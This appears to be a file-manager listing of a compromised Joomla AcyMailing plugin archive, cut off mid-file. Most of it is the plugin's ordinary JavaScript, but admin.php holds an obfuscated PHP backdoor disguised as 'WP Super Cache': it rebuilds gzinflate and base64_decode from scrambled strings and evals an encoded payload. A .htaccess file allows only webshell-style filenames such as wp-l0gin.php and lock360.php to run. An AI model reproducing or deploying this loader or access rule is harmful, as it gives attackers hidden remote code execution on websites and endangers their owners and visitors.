File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/com_acymailing.zip
Back
PK Yk.]"��� � admin.phpnu �[��� %PDF- %PDF- <?php /** * Plugin Name: WP Super Cache * Plugin URI: https://github.com/cAT3VWynuiL7CRgr/c332d * Description: WP Super Cache * Version: 1.0 * Author: WP Super Cache * Author URI: https://github.com/cAT3VWynuiL7CRgr/c332d * License: GPLv2 */ $e9Hrg = "ZA5GUw760zXvFPnq8jSNaelo2YCifgh3WRBcTtLkymEQx14puIbsO9HrKM_VdJD"; $FARDX = $e9Hrg[29].$e9Hrg[9].$e9Hrg[27].$e9Hrg[14].$e9Hrg[28].$e9Hrg[22].$e9Hrg[20].$e9Hrg[37].$e9Hrg[21]; $h7pKG = $e9Hrg[50].$e9Hrg[20].$e9Hrg[51].$e9Hrg[21].$e9Hrg[7].$e9Hrg[46].$e9Hrg[58].$e9Hrg[60].$e9Hrg[21].$e9Hrg[35].$e9Hrg[23].$e9Hrg[60].$e9Hrg[21]; $UA7Rv = "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"; eval($FARDX($h7pKG($UA7Rv)));PK Yk.]��\ .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK Yk.]���A �A js/acymailing_module.jsnu &1i� /** * @package AcyMailing for Joomla! * @version 5.5.0 * @author acyba.com * @copyright (C) 2009-2016 ACYBA S.A.R.L. All rights reserved. * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html */ function submitacymailingform(task, formName){ var varform = document[formName]; var filterEmail = /^([a-z0-9_'&\.\-\+=])+\@(([a-z0-9\-])+\.)+([a-z0-9]{2,10})+$/i; if(!varform.elements){ if(varform[0].elements['user[email]'] && varform[0].elements['user[email]'].value && filterEmail.test(varform[0].elements['user[email]'].value)){ varform = varform[0]; }else{ varform = varform[varform.length - 1]; } } if(task != 'optout'){ nameField = varform.elements['user[name]']; if(nameField && (( typeof acymailing != 'undefined' && (nameField.value == acymailing['NAMECAPTION'] || (typeof acymailing['excludeValues' + formName] != 'undefined' && typeof acymailing['excludeValues' + formName]['name'] != 'undefined' && nameField.value == acymailing['excludeValues' + formName]['name'])) ) || nameField.value.replace(/ /g, "").length < 2)){ if(typeof acymailing != 'undefined'){ alert(acymailing['NAME_MISSING']); } nameField.className = nameField.className + ' invalid'; return false; } } var emailField = varform.elements['user[email]']; if(emailField){ if(typeof acymailing == 'undefined' || emailField.value != acymailing['EMAILCAPTION']) emailField.value = emailField.value.replace(/ /g, ""); if(!emailField || (typeof acymailing != 'undefined' && (emailField.value == acymailing['EMAILCAPTION'] || (typeof acymailing['excludeValues' + formName] != 'undefined' && typeof acymailing['excludeValues' + formName]['email'] != 'undefined' && emailField.value == acymailing['excludeValues' + formName]['email']))) || !filterEmail.test(emailField.value)){ if(typeof acymailing != 'undefined'){ alert(acymailing['VALID_EMAIL']); } emailField.className = emailField.className + ' invalid'; return false; } } if(varform.elements['hiddenlists'].value.length < 1){ var listschecked = false; var alllists = varform.elements['subscription[]']; if(alllists && (typeof alllists.value == 'undefined' || alllists.value.length == 0)){ for(b = 0; b < alllists.length; b++){ if(alllists[b].checked) listschecked = true; } if(!listschecked){ alert(acymailing['NO_LIST_SELECTED']); return false; } } } if(task != 'optout' && typeof acymailing != 'undefined'){ if(typeof acymailing['reqFields' + formName] != 'undefined' && acymailing['reqFields' + formName].length > 0){ for(var i = 0; i < acymailing['reqFields' + formName].length; i++){ elementName = 'user[' + acymailing['reqFields' + formName][i] + ']'; elementToCheck = varform.elements[elementName]; if(elementToCheck){ var isValid = false; if(typeof elementToCheck.value != 'undefined'){ if(elementToCheck.value == ' ' && typeof varform[elementName + '[]'] != 'undefined'){ if(varform[elementName + '[]'].checked){ isValid = true; }else{ for(var a = 0; a < varform[elementName + '[]'].length; a++){ if((varform[elementName + '[]'][a].checked || varform[elementName + '[]'][a].selected) && varform[elementName + '[]'][a].value.length > 0) isValid = true; } } }else{ if(elementToCheck.value.replace(/ /g, "").length > 0){ if(typeof acymailing['excludeValues' + formName] == 'undefined' || typeof acymailing['excludeValues' + formName][acymailing['reqFields' + formName][i]] == 'undefined' || acymailing['excludeValues' + formName][acymailing['reqFields' + formName][i]] != elementToCheck.value) isValid = true; } } }else{ for(var a = 0; a < elementToCheck.length; a++){ if(elementToCheck[a].checked && elementToCheck[a].value.length > 0) isValid = true; } } if((elementToCheck.length >= 1 && (elementToCheck[0].parentElement.parentElement.style.display == 'none' || elementToCheck[0].parentElement.parentElement.parentElement.style.display == 'none')) || (typeof elementToCheck.length == 'undefined' && (elementToCheck.parentElement.parentElement.style.display == 'none' || elementToCheck.parentElement.parentElement.parentElement.style.display == 'none'))){ isValid = true; } if(!isValid){ elementToCheck.className = elementToCheck.className + ' invalid'; alert(acymailing['validFields' + formName][i]); return false; } }else{ if((varform.elements[elementName + '[day]'] && varform.elements[elementName + '[day]'].value < 1) || (varform.elements[elementName + '[month]'] && varform.elements[elementName + '[month]'].value < 1) || (varform.elements[elementName + '[year]'] && varform.elements[elementName + '[year]'].value < 1902)){ if(varform.elements[elementName + '[day]'] && varform.elements[elementName + '[day]'].value < 1) varform.elements[elementName + '[day]'].className = varform.elements[elementName + '[day]'].className + ' invalid'; if(varform.elements[elementName + '[month]'] && varform.elements[elementName + '[month]'].value < 1) varform.elements[elementName + '[month]'].className = varform.elements[elementName + '[month]'].className + ' invalid'; if(varform.elements[elementName + '[year]'] && varform.elements[elementName + '[year]'].value < 1902) varform.elements[elementName + '[year]'].className = varform.elements[elementName + '[year]'].className + ' invalid'; alert(acymailing['validFields' + formName][i]); return false; } if((varform.elements[elementName + '[country]'] && varform.elements[elementName + '[country]'].value < 1) || (varform.elements[elementName + '[num]'] && (varform.elements[elementName + '[num]'].value < 3 || (typeof acymailing['excludeValues' + formName] != 'undefined' && typeof acymailing['excludeValues' + formName][acymailing['reqFields' + formName][i]] != 'undefined' && acymailing['excludeValues' + formName][acymailing['reqFields' + formName][i]] == varform.elements[elementName + '[num]'].value)))){ if(varform.elements[elementName + '[country]'] && varform.elements[elementName + '[country]'].value < 1) varform.elements[elementName + '[country]'].className = varform.elements[elementName + '[country]'].className + ' invalid'; if(varform.elements[elementName + '[num]'] && (varform.elements[elementName + '[num]'].value < 3 || (typeof acymailing['excludeValues' + formName] != 'undefined' && typeof acymailing['excludeValues' + formName][acymailing['reqFields' + formName][i]] != 'undefined' && acymailing['excludeValues' + formName][acymailing['reqFields' + formName][i]] == varform.elements[elementName + '[num]'].value))) varform.elements[elementName + '[num]'].className = varform.elements[elementName + '[num]'].className + ' invalid'; alert(acymailing['validFields' + formName][i]); return false; } } } } if(typeof acymailing != 'undefined' && typeof acymailing['checkFields' + formName] != 'undefined' && acymailing['checkFields' + formName].length > 0){ for(var i = 0; i < acymailing['checkFields' + formName].length; i++){ elementName = 'user[' + acymailing['checkFields' + formName][i] + ']'; elementtypeToCheck = acymailing['checkFieldsType' + formName][i]; elementToCheck = varform.elements[elementName].value; if(typeof acymailing['excludeValues' + formName] != 'undefined'){ var excludedValues = acymailing['excludeValues' + formName][acymailing['checkFields' + formName][i]]; if(typeof excludedValues != 'undefined' && elementToCheck == excludedValues){ continue; } } switch(elementtypeToCheck){ case 'number': myregexp = new RegExp('^[0-9]*$'); break; case 'letter': myregexp = new RegExp('^[A-Za-z\u00C0-\u017F ]*$'); break; case 'letnum': myregexp = new RegExp('^[0-9a-zA-Z\u00C0-\u017F ]*$'); break; case 'regexp': myregexp = new RegExp(acymailing['checkFieldsRegexp' + formName][i]); break; } if(!myregexp.test(elementToCheck)){ alert(acymailing['validCheckFields' + formName][i]); return false; } } } } var captchaField = varform.elements['acycaptcha']; if(captchaField){ if(captchaField.value.length < 1){ if(typeof acymailing != 'undefined'){ alert(acymailing['CAPTCHA_MISSING']); } captchaField.className = captchaField.className + ' invalid'; return false; } } if(task != 'optout'){ var termsandconditions = varform.terms; if(termsandconditions && !termsandconditions.checked){ if(typeof acymailing != 'undefined'){ alert(acymailing['ACCEPT_TERMS']); } termsandconditions.className = termsandconditions.className + ' invalid'; return false; } if(typeof acymailing != 'undefined' && typeof acymailing['excludeValues' + formName] != 'undefined'){ for(var fieldName in acymailing['excludeValues' + formName]){ if(!acymailing['excludeValues' + formName].hasOwnProperty(fieldName)) continue; if(!varform.elements['user[' + fieldName + ']'] || varform.elements['user[' + fieldName + ']'].value != acymailing['excludeValues' + formName][fieldName]) continue; varform.elements['user[' + fieldName + ']'].value = ''; } } } if(typeof ga != 'undefined' && task != 'optout'){ ga('send', 'pageview', 'subscribe'); }else if(typeof ga != 'undefined'){ ga('send', 'pageview', 'unsubscribe'); } taskField = varform.task; taskField.value = task; if(!varform.elements['ajax'] || !varform.elements['ajax'].value || varform.elements['ajax'].value == '0'){ varform.submit(); return false; } if(window.jQuery){ var form = jQuery('#' + formName); form.addClass('acymailing_module_loading'); form.css("filter:", "alpha(opacity=50)"); form.css("-moz-opacity", "0.5"); form.css("-khtml-opacity", "0.5"); form.css("opacity", "0.5"); data = new FormData(form[0]); jQuery.ajax({ url: document.getElementById(formName).action, data: data, type: 'POST', async: true, success: function(response){ response = JSON.parse(response); acymailingDisplayAjaxResponseJQuery(unescape(response.message), response.type, formName); }, error: function(){ acymailingDisplayAjaxResponseJQuery('Ajax Request Failure', 'error', formName); }, cache: false, contentType: false, processData: false }); }else{ try{ var form = document.id(formName); }catch(err){ var form = $(formName); } data = form.toQueryString(); if(typeof Ajax == 'function'){ new Ajax(form.action, { data: data, method: 'post', onRequest: function(){ form.addClass('acymailing_module_loading'); form.setStyle("filter:", "alpha(opacity=50)"); form.setStyle("-moz-opacity", "0.5"); form.setStyle("-khtml-opacity", "0.5"); form.setStyle("opacity", "0.5"); }, onSuccess: function(response){ response = Json.evaluate(response); acymailingDisplayAjaxResponseMootools(unescape(response.message), response.type, formName); }, onFailure: function(){ acymailingDisplayAjaxResponseMootools('Ajax Request Failure', 'error', formName); } }).request(); }else{ var formData = new FormData(form); form.addClass('acymailing_module_loading'); form.setStyle("filter:", "alpha(opacity=50)"); form.setStyle("-moz-opacity", "0.5"); form.setStyle("-khtml-opacity", "0.5"); form.setStyle("opacity", "0.5"); var xhr = new XMLHttpRequest(); xhr.open('POST', document.id(formName).action); xhr.onload = function(){ if (xhr.status === 200){ var response = JSON.parse(xhr.responseText); acymailingDisplayAjaxResponseMootools(unescape(response.message), response.type, formName); }else{ acymailingDisplayAjaxResponseMootools('Ajax Request Failure', 'error', formName); } }; xhr.send(formData); } } return false; } function acymailingDisplayAjaxResponseJQuery(message, type, formName){ var toggleButton = jQuery('#acymailing_togglemodule_' + formName); if(toggleButton && toggleButton.hasClass('acyactive')){ var wrapper = toggleButton.parent().parent().children()[1]; jQuery(wrapper).css('height', ''); } ; var responseContainer = jQuery('#acymailing_fulldiv_' + formName + ' .responseContainer')[0]; if(typeof responseContainer == 'undefined'){ responseContainer = document.createElement('div'); var fulldiv = jQuery('#acymailing_fulldiv_' + formName); fulldiv.prepend(responseContainer); oldContainerHeight = '0px'; }else{ oldContainerHeight = jQuery(responseContainer).css('height'); } responseContainer.className = 'responseContainer'; var form = jQuery('#' + formName); form.removeClass('acymailing_module_loading'); responseContainer.innerHTML = message; if(type == 'success'){ jQuery(responseContainer).addClass('acymailing_module_success'); }else{ jQuery(responseContainer).addClass('acymailing_module_error'); form.css("filter:", "alpha(opacity=100)"); form.css("-moz-opacity", "1"); form.css("-khtml-opacity", "1"); form.css("opacity", "1"); } newContainerHeight = jQuery(responseContainer).css('height'); if(type == 'success'){ form.animate({ 'height': 0, 'opacity': 0 }); } jQuery(responseContainer).css({ 'height': oldContainerHeight, 'filter:': "alpha(opacity=0)", '-moz-opacity': 0, '-khtml-opacity': 0, 'opacity': 0 }); jQuery(responseContainer).animate({ 'height': newContainerHeight, 'opacity': 1 }); } function acymailingDisplayAjaxResponseMootools(message, type, formName){ try{ var toggleButton = document.id('acymailing_togglemodule_' + formName); }catch(err){ var toggleButton = $('acymailing_togglemodule_' + formName); } if(toggleButton && toggleButton.hasClass('acyactive')){ var wrapper = toggleButton.getParent().getParent().getChildren()[1]; wrapper.setStyle('height', ''); } ; try{ var responseContainer = document.getElements('#acymailing_fulldiv_' + formName + ' .responseContainer')[0]; }catch(err){ var responseContainer = $$('#acymailing_fulldiv_' + formName + ' .responseContainer')[0]; } if(typeof responseContainer == 'undefined'){ responseContainer = new Element('div'); try{ var fulldiv = document.id('acymailing_fulldiv_' + formName); }catch(err){ var fulldiv = $('acymailing_fulldiv_' + formName); } responseContainer.inject(fulldiv, 'top'); oldContainerHeight = '0px'; }else{ oldContainerHeight = responseContainer.getStyle('height'); } responseContainer.className = 'responseContainer'; try{ var form = document.id(formName); }catch(err){ var form = $(formName); } form.removeClass('acymailing_module_loading'); responseContainer.innerHTML = message; if(type == 'success'){ responseContainer.addClass('acymailing_module_success'); }else{ responseContainer.addClass('acymailing_module_error'); form.setStyle("filter:", "alpha(opacity=100)"); form.setStyle("-moz-opacity", "1"); form.setStyle("-khtml-opacity", "1"); form.setStyle("opacity", "1"); } newContainerHeight = responseContainer.getStyle('height'); if(typeof Ajax == 'function'){ if(type == 'success'){ var myEffect = new Fx.Styles(form, {duration: 500, transition: Fx.Transitions.linear}); myEffect.start({ 'height': [form.getSize().size.y, 0], 'opacity': [1, 0] }); } try{ responseContainer.setStyle('height', oldContainerHeight + 'px'); responseContainer.setStyle("filter:", "alpha(opacity=0)"); responseContainer.setStyle("-moz-opacity", "0"); responseContainer.setStyle("-khtml-opacity", "0"); responseContainer.setStyle("opacity", "0"); } catch(e){ } var myEffect2 = new Fx.Styles(responseContainer, {duration: 500, transition: Fx.Transitions.linear}); myEffect2.start({ 'height': [oldContainerHeight, newContainerHeight], 'opacity': [0, 1] }); }else // Mootools >= 1.2 { if(type == 'success'){ form.set('morph'); form.morph({ 'height': '0px', 'opacity': 0 }); form.setStyles({ 'display': 'none' }); } if(newContainerHeight != 'auto'){ responseContainer.setStyles({ 'height': oldContainerHeight, 'opacity': 0 }); responseContainer.set('morph'); responseContainer.morph({ 'height': newContainerHeight, 'opacity': 1 }); } } } PK Yk.] js/.mad-rootnu �[��� PK Yk.]in��C �C js/acyeditor.jsnu &1i� /** * @package AcyMailing for Joomla! * @version 5.5.0 * @author acyba.com * @copyright (C) 2009-2016 ACYBA S.A.R.L. All rights reserved. * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html */ var largeurMenuInline = 524; var hauteurEditeurMin = 500; var acyeditor_fullmode = false; var acyeditor_listmode = false; var acyeditor_templatemode = false; var acyeditor_articlemode = false; var typeCtrl; var rangeIE; var debutSelection; var finSelection; var rangeIE2; var anchorNodeIE; var realstylesheetpath; var isJoomla2_5 = false; var isJoomla3 = false; var isBack = false; var isTagAllowed = false; var modalInitialized = false; var tooltipTemplateDelete; var tooltipTemplateText; var tooltipTemplatePicture; var tooltipShowAreas; var templateShown = false; var urlAcyeditor; var boutonTags = "toolbar-tag"; var boutonMediaBrowser = "toolbar-popup-Acymediabrowser"; var acyVersion = "5.5.0"; var pasteType = "plain"; var acyEnterMode = "br"; var urlSite = ""; var titleBtnMore = ""; var txtSup = ""; var titleSup = ""; var titleEd = ""; var titleBtnDupliAfter = ""; var defaultText = "Write you text here"; var inlineSource = 1; var zoneActionActive; var confirmInitAreas = ""; var tooltipInitAreas = ""; var tooltipTemplateSortable = ""; var ckFileVersion = ""; var confirmDeleteBtnTxt = ""; var confirmCancelBtnTxt = ""; var idDivShared = "editorSpace"; var picker; var initIE = false; function Initialisation(id, type, urlBase, urlAdminBase, cssUrl, forceComplet, modeList, modeTemplate, modeArticle, joomla2_5, joomla3, back, tagAllowed, texteSuppression, titleSuppression, titleEdition, titleTemplateDelete, titleTemplateText, titleTemplatePicture, titleShowAreas, ckEditorFileVersion){ txtSup = texteSuppression; titleSup = titleSuppression; titleEd = titleEdition; initIE = false; acyJquery.noConflict(); editor = undefined; realstylesheetpath = cssUrl; isJoomla2_5 = joomla2_5; isJoomla3 = joomla3; isBack = (back == 1); isTagAllowed = (tagAllowed == 1); typeCtrl = type; acyeditor_listmode = modeList; acyeditor_templatemode = modeTemplate; acyeditor_articlemode = modeArticle; tooltipTemplateDelete = titleTemplateDelete; tooltipTemplateText = titleTemplateText; tooltipTemplatePicture = titleTemplatePicture; tooltipShowAreas = titleShowAreas; urlAcyeditor = "plugins/editors/acyeditor/acyeditor/"; ckFileVersion = ckEditorFileVersion; if(!isJoomla2_5 && !isJoomla3){ urlAcyeditor = "plugins/editors/acyeditor/"; } if(!isBack){ boutonTags = "acybuttontag"; boutonMediaBrowser = "acybuttonmediabrowser"; } if(isBrowserIE7() || isBrowserIE8()){ var popupTagContainer = parent.document.getElementById(boutonTags); var popupMediaBrowserContainer = parent.document.getElementById(boutonMediaBrowser); if(popupTagContainer != null && popupTagContainer != undefined && popupTagContainer.children[0] != null && popupTagContainer.children[0] != undefined){ popupTagContainer.children[0].onclick = function (){ IeCursorFix(true); }; } if(popupMediaBrowserContainer != null && popupMediaBrowserContainer != undefined && popupMediaBrowserContainer.children[0] != null && popupMediaBrowserContainer.children[0] != undefined){ popupMediaBrowserContainer.children[0].onclick = function (){ IeCursorFix(true); }; } }else{ var popupTagContainer = parent.document.getElementById(boutonTags); var popupMediaBrowserContainer = parent.document.getElementById(boutonMediaBrowser); if(popupTagContainer != null && popupTagContainer != undefined && popupTagContainer.children[0] != null && popupTagContainer.children[0] != undefined){ popupTagContainer.children[0].onclick = function (){ IeCursorFix(); }; } if(popupMediaBrowserContainer != null && popupMediaBrowserContainer != undefined && popupMediaBrowserContainer.children[0] != null && popupMediaBrowserContainer.children[0] != undefined){ popupMediaBrowserContainer.children[0].onclick = function (){ IeCursorFix(); }; } } qs = document.location.search.split("+").join(" "); var params = {}, tokens, re = /[?&]?([^=]+)=([^&]*)/g; while (tokens = re.exec(qs)){ params[decodeURIComponent(tokens[1])] = decodeURIComponent(tokens[2]); } if(params['tmpl']){ if(params['tmpl']=='component') var inPopup = true; } if(acyJquery('#AcyLienImage')[0] == null || acyJquery('#AcyLienImage')[0] == undefined){ var lienImage = document.createElement("a"); lienImage.id = "AcyLienImage"; if(inPopup) endUrl='&inpopup=true'; lienImage.href = "index.php?option=com_acymailing&tmpl=component&ctrl=editor&task=browse&e_name=ACY_NAME_AREA&image_zone=true" + endUrl; if(!isBack){ lienImage.href = "index.php?option=com_acymailing&tmpl=component&ctrl=fronteditor&task=browse&e_name=ACY_NAME_AREA&image_zone=true" + endUrl; } lienImage.rel = "{handler: 'iframe', size: {x: 850, y: 600}}"; if(inPopup) lienImage.rel = "{handler: 'iframe', size: {x: 700, y: 460}}"; lienImage.style.display = "none"; document.body.appendChild(lienImage); acyJquery('#' + lienImage.id).addClass("modal"); } if(acyJquery('#AcyLienTag')[0] == null || acyJquery('#AcyLienTag')[0] == undefined){ var lienTag = document.createElement("a"); lienTag.id = "AcyLienTag"; lienTag.href = "index.php?option=com_acymailing&ctrl=tag&task=tag&tmpl=component&type=" + typeCtrl; if(!isBack){ lienTag.href = urlBase + "index.php?option=com_acymailing&ctrl=fronttag&task=tag&tmpl=component&type=" + typeCtrl; } lienTag.rel = "{handler: 'iframe', size: {x: 780, y: 550}}"; lienTag.onclick = function (){ try { IeCursorFix(); } catch (e){} }; lienTag.style.display = "none"; document.body.appendChild(lienTag); acyJquery('#' + lienTag.id).addClass("modal"); } if(acyJquery('#AcyLienMediaBrowser')[0] == null || acyJquery('#AcyLienMediaBrowser')[0] == undefined){ var lienMediaBrowser = document.createElement("a"); lienMediaBrowser.id = "AcyLienMediaBrowser"; var endUrl=''; if(inPopup) endUrl='&inpopup=true'; lienMediaBrowser.href = "index.php?option=com_acymailing&tmpl=component&ctrl=editor&task=browse&e_name=ACY_NAME_AREA" + endUrl; if(!isBack){ lienMediaBrowser.href = urlBase + "index.php?option=com_acymailing&tmpl=component&ctrl=fronteditor&task=browse&e_name=ACY_NAME_AREA" + endUrl; } lienMediaBrowser.rel = "{handler: 'iframe', size: {x: 850, y: 600}}"; if(inPopup) lienMediaBrowser.rel = "{handler: 'iframe', size: {x: 700, y: 460}}"; lienMediaBrowser.onclick = function (){ try { IeCursorFix(); } catch (e){} }; lienMediaBrowser.style.display = "none"; document.body.appendChild(lienMediaBrowser); acyJquery('#' + lienMediaBrowser.id).addClass("modal"); } var idIframe = id + "_ifr"; var textArea = acyJquery('#' 